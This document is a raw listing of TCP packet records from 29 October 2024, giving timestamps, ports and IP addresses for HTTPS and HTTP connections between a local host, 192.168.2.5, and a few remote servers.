Oct 29, 2024 13:08:53.325609922 CET	60571	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.325613976 CET	443	60571	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.458806038 CET	443	60571	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.458832026 CET	443	60571	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.458882093 CET	60571	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.458889008 CET	443	60571	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.458935022 CET	60571	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.459211111 CET	60571	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.459223986 CET	443	60571	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.459234953 CET	60571	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.459239960 CET	443	60571	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.462462902 CET	60577	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.462531090 CET	443	60577	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.462650061 CET	60577	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.462841034 CET	60577	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.462872982 CET	443	60577	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.909276009 CET	80	60572	108.177.15.82	192.168.2.5
Oct 29, 2024 13:08:53.909320116 CET	80	60572	108.177.15.82	192.168.2.5
Oct 29, 2024 13:08:53.909414053 CET	60572	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:53.909476042 CET	60572	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:53.910170078 CET	60572	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:53.910226107 CET	60572	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:54.010607958 CET	443	60574	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.011183023 CET	60574	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.011209965 CET	443	60574	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.011903048 CET	60574	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.011909008 CET	443	60574	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.017894030 CET	443	60573	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.018253088 CET	60573	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.018271923 CET	443	60573	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.018727064 CET	60573	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.018733025 CET	443	60573	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.035458088 CET	443	60575	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.039103985 CET	60575	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.039129972 CET	443	60575	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.039952040 CET	60575	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.039958000 CET	443	60575	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.066231012 CET	443	60576	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.066709995 CET	60576	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.066730976 CET	443	60576	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.067085028 CET	60576	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.067090988 CET	443	60576	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.142806053 CET	443	60574	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.142858982 CET	443	60574	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.142894983 CET	443	60574	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.143047094 CET	60574	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.143275976 CET	60574	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.143290997 CET	443	60574	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.143300056 CET	60574	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.143305063 CET	443	60574	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.146585941 CET	60578	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.146624088 CET	443	60578	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.146711111 CET	60578	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.146883011 CET	60578	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.146898985 CET	443	60578	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.149842978 CET	443	60573	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.150000095 CET	443	60573	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.150063992 CET	60573	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.150214911 CET	60573	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.150234938 CET	443	60573	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.150247097 CET	60573	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.150254965 CET	443	60573	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.152446032 CET	60579	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.152507067 CET	443	60579	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.152595043 CET	60579	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.152750015 CET	60579	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.152770042 CET	443	60579	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.171530008 CET	443	60575	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.171716928 CET	443	60575	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.171801090 CET	60575	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.171943903 CET	60575	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.171951056 CET	443	60575	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.171962023 CET	60575	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.171966076 CET	443	60575	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.173960924 CET	60580	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.174043894 CET	443	60580	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.174130917 CET	60580	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.174249887 CET	60580	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.174287081 CET	443	60580	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.197743893 CET	443	60576	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.197798014 CET	443	60576	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.197987080 CET	443	60576	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.198085070 CET	60576	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.198085070 CET	60576	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.198118925 CET	60576	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.198120117 CET	60576	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.198133945 CET	443	60576	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.198144913 CET	443	60576	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.200040102 CET	60581	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.200133085 CET	443	60581	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.200365067 CET	60581	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.200365067 CET	60581	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.200467110 CET	443	60581	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.212958097 CET	443	60577	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.215245008 CET	60577	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.215281963 CET	443	60577	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.215678930 CET	60577	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.215692043 CET	443	60577	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.345828056 CET	443	60577	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.345846891 CET	443	60577	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.345904112 CET	443	60577	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.345921993 CET	60577	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.346086025 CET	60577	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.346244097 CET	60577	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.346244097 CET	60577	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.346280098 CET	443	60577	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.346303940 CET	443	60577	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.349069118 CET	60582	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.349128962 CET	443	60582	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.349206924 CET	60582	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.349520922 CET	60582	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.349550962 CET	443	60582	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.835241079 CET	60583	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:54.841466904 CET	80	60583	142.251.168.82	192.168.2.5
Oct 29, 2024 13:08:54.841650963 CET	60583	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:54.841892004 CET	60583	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:54.848100901 CET	80	60583	142.251.168.82	192.168.2.5
Oct 29, 2024 13:08:54.881422997 CET	443	60578	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.881951094 CET	60578	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.881982088 CET	443	60578	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.882462025 CET	60578	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.882468939 CET	443	60578	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.887204885 CET	443	60579	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.887556076 CET	60579	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.887593985 CET	443	60579	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.887953043 CET	60579	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.887968063 CET	443	60579	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.914509058 CET	443	60580	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.914998055 CET	60580	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.915038109 CET	443	60580	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.915400982 CET	60580	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.915417910 CET	443	60580	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.932998896 CET	443	60581	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.933273077 CET	60581	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.933357954 CET	443	60581	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:54.933629990 CET	60581	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:54.933644056 CET	443	60581	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.012675047 CET	443	60578	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.012701035 CET	443	60578	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.012748957 CET	443	60578	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.012758970 CET	60578	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.012814999 CET	60578	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.013114929 CET	60578	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.013138056 CET	443	60578	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.013153076 CET	60578	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.013159037 CET	443	60578	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.015450954 CET	443	60579	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.015633106 CET	443	60579	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.015702963 CET	60579	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.015945911 CET	60579	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.015983105 CET	443	60579	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.016010046 CET	60579	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.016026020 CET	443	60579	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.017155886 CET	60584	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.017261028 CET	443	60584	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.017333984 CET	60584	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.017695904 CET	60584	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.017733097 CET	443	60584	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.018414021 CET	60585	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.018460035 CET	443	60585	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.018517017 CET	60585	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.018635035 CET	60585	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.018650055 CET	443	60585	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.046272039 CET	443	60580	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.046339035 CET	443	60580	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.046415091 CET	60580	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.046438932 CET	443	60580	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.046494961 CET	60580	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.046598911 CET	60580	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.046642065 CET	443	60580	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.046670914 CET	60580	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.046685934 CET	443	60580	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.048710108 CET	60586	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.048778057 CET	443	60586	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.048867941 CET	60586	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.049009085 CET	60586	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.049038887 CET	443	60586	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.081557989 CET	443	60582	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.081978083 CET	60582	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.082034111 CET	443	60582	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.082465887 CET	60582	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.082479000 CET	443	60582	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.163539886 CET	443	60581	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.163609028 CET	443	60581	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.163738012 CET	60581	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.164140940 CET	60581	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.164199114 CET	443	60581	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.164235115 CET	60581	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.164251089 CET	443	60581	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.166397095 CET	60587	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.166429043 CET	443	60587	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.166508913 CET	60587	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.166639090 CET	60587	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.166654110 CET	443	60587	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.215811968 CET	443	60582	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.215841055 CET	443	60582	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.215879917 CET	443	60582	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.215895891 CET	60582	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.215934038 CET	60582	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.216192961 CET	60582	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.216217995 CET	443	60582	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.216242075 CET	60582	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.216253042 CET	443	60582	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.218265057 CET	60588	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.218297958 CET	443	60588	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.218379021 CET	60588	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.218488932 CET	60588	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.218502045 CET	443	60588	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.749557018 CET	443	60584	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.750171900 CET	60584	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.750243902 CET	443	60584	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.750689030 CET	60584	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.750724077 CET	443	60584	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.772399902 CET	80	60583	142.251.168.82	192.168.2.5
Oct 29, 2024 13:08:55.772473097 CET	60583	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:55.772866964 CET	60583	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:55.772893906 CET	60583	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:55.773216009 CET	80	60583	142.251.168.82	192.168.2.5
Oct 29, 2024 13:08:55.773268938 CET	60583	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:55.804392099 CET	443	60586	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.805308104 CET	60586	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.805349112 CET	443	60586	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.805763960 CET	60586	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.805775881 CET	443	60586	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.808933020 CET	443	60585	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.809390068 CET	60585	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.809398890 CET	443	60585	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.809828997 CET	60585	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.809834003 CET	443	60585	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.878132105 CET	443	60584	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.878288984 CET	443	60584	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.878369093 CET	60584	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.878523111 CET	60584	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.878523111 CET	60584	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.878571033 CET	443	60584	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.878599882 CET	443	60584	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.882597923 CET	60589	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.882635117 CET	443	60589	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.883999109 CET	60589	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.884263992 CET	60589	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.884279966 CET	443	60589	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.898799896 CET	443	60587	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.900324106 CET	60587	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.900340080 CET	443	60587	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.900763035 CET	60587	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.900768042 CET	443	60587	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.938942909 CET	443	60586	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.939089060 CET	443	60586	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.939172983 CET	60586	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.939237118 CET	60586	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.939237118 CET	60586	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.939263105 CET	443	60586	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.939304113 CET	443	60586	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.941339016 CET	443	60585	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.941368103 CET	443	60585	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.941406012 CET	443	60585	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.941430092 CET	60585	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.941471100 CET	60585	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.941584110 CET	60585	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.941598892 CET	443	60585	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.941608906 CET	60585	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.941617012 CET	443	60585	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.941633940 CET	60590	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.941684961 CET	443	60590	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.942830086 CET	60590	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.942969084 CET	60590	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.942986965 CET	443	60590	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.943751097 CET	60591	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.943768024 CET	443	60591	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.943825960 CET	60591	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.943968058 CET	60591	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.943979025 CET	443	60591	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.966310024 CET	443	60588	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.966667891 CET	60588	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.966691971 CET	443	60588	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:55.967087984 CET	60588	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:55.967092991 CET	443	60588	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.031759024 CET	443	60587	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.031785011 CET	443	60587	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.031821012 CET	443	60587	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.031871080 CET	60587	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.032124043 CET	60587	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.032124043 CET	60587	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.032149076 CET	443	60587	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.032157898 CET	443	60587	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.036823988 CET	60592	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.036855936 CET	443	60592	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.036917925 CET	60592	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.037470102 CET	60592	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.037483931 CET	443	60592	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.098288059 CET	443	60588	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.098366976 CET	443	60588	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.098431110 CET	60588	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.099735022 CET	60588	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.099755049 CET	443	60588	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.099766016 CET	60588	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.099772930 CET	443	60588	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.103069067 CET	60593	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.103128910 CET	443	60593	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.103374004 CET	60593	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.103579044 CET	60593	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.103611946 CET	443	60593	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.627259016 CET	443	60589	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.629393101 CET	60589	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.629409075 CET	443	60589	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.630053997 CET	60589	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.630064964 CET	443	60589	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.660655975 CET	443	60590	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.661456108 CET	60590	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.661473036 CET	443	60590	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.661900043 CET	60590	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.661905050 CET	443	60590	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.718655109 CET	443	60591	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.719542027 CET	60591	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.719551086 CET	443	60591	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.720128059 CET	60591	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.720132113 CET	443	60591	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.758270979 CET	443	60589	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.758522987 CET	443	60589	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.758621931 CET	60589	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.758811951 CET	60589	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.758830070 CET	443	60589	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.758856058 CET	60589	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.758867979 CET	443	60589	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.761562109 CET	60594	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.761598110 CET	443	60594	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.761682987 CET	60594	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.761836052 CET	60594	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.761843920 CET	443	60594	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.787410975 CET	443	60592	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.793334007 CET	60592	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.793353081 CET	443	60592	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.793641090 CET	443	60590	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.793757915 CET	443	60590	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.793798923 CET	443	60590	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.793823004 CET	60590	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.793865919 CET	60590	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.793908119 CET	60592	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.793912888 CET	443	60592	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.794013977 CET	60590	443	192.168.2.5	13.107.246.45
